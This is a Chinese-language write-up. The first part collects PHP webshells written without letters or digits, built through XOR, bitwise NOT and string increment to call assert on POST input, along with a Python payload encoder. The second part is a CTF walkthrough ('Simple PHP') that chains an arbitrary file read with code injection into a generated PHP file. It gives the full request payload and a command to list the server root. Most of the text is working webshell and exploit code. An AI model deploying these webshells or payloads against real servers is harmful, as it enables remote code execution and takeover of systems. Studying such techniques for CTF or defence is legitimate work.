无字母数字webshell总结

方法一：异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
//不可见字符都用url表示

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
//php5可以成功执行

方法二：取反

<?php
$_++;   //得到1，此时$_=1
$__ = "极";
$___ = ~($__{$_});   //得到a，此时$___="a"
$__ = "区";
$___ .= ~($__{$_});   //得到s，此时$___="as"
$___ .= ~($__{$_});   //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_});   //得到e，此时$___="asse"
$__ = "十";
$___ .= ~($__{$_});   //得到r，此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_});   //得到t，此时$___="assert"
$____ = '_';   //$____='_'
$__ = "寸";
$____ .= ~($__{$_});   //得到P，此时$____="_P"
$__ = "小";
$____ .= ~($__{$_});   //得到O，此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_});   //得到S，此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_});   //得到T，此时$____="_POST"
$_ = $$____;   //$_ = $_POST
$___($_[_]);   //assert($_POST[_])
//php5可以成功

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
//没成功

def get(shell):
    hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
    hexbit = hexbit.replace('0x','%')
    print(hexbit)

get('assert')
get('_POST')
        
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert，此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST，此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
//没成功

方法三：自增

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E"，此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R"，此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T"，此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P"，此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O"，此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T"，此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Simple PHP

题目首页是一个注册和登录界面，先随便注册一个，登陆进去后试一试功能

可以发现一个打开图片的功能，抓包看看请求参数

这里的image参数会造成任意文件读取，读一下index的源码

index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

注意index.php中的一个危险函数file_put_contents，如果我们在$content中写入恶意php代码，而$content是由我们向template.html中进行某些变量赋值生成的，这里读取一下模板文件

template.html
<?php
	error_reporting(0);
	$user = ((string)__USER__);
	$pass = ((string)__PASS__);
			
	if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass)
    {
		echo($_COOKIE['user']);
	}
	else{
		die("<script>alert('Permission denied!');</script>");
	}
?>
......
<a href="#" class="powered_by">__PUNC__</a>
......
<li class="desktop_icon" id="win16" path="__WEBSITE__"> 
......

可以看到四个参数的位置，从user开始就进入了php代码，我们可以写一个一句话木马，但是index中对于注册的信息有所过滤，我们可以控制的参数有user，pass，website，punctuation，但是pass经过md5加密以及字符串拼接，无法利用

剩下user有字符串长度不大于6的限制，无法写入一句话木马，而punctuation字符串长度上限为1000，但不能有大小写字母和数字以及>，这里可以在user中来闭合，并且注释后续代码，让后面一个参数__PUNC__也可以写入php代码，再用注释来解决后续代码即可

这里的__PUNC__需要用到无数字字母webshell，参考链接如下

(141条消息) 无字母数字webshell总结_zkzq的博客-CSDN博客_无字符webshell

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

网上还有一个不包含数字和字母的webshell，这里记录一下

1	user=1)/&pass=rr&website=&punctuation=/;@$_%2b%2b;$__='#./\|{'^'\|~`//';${$__}[!$_](${$__}[$_]);/*

查看根目录

1	0=assert&1=system("ls /");

传马直接读flag即可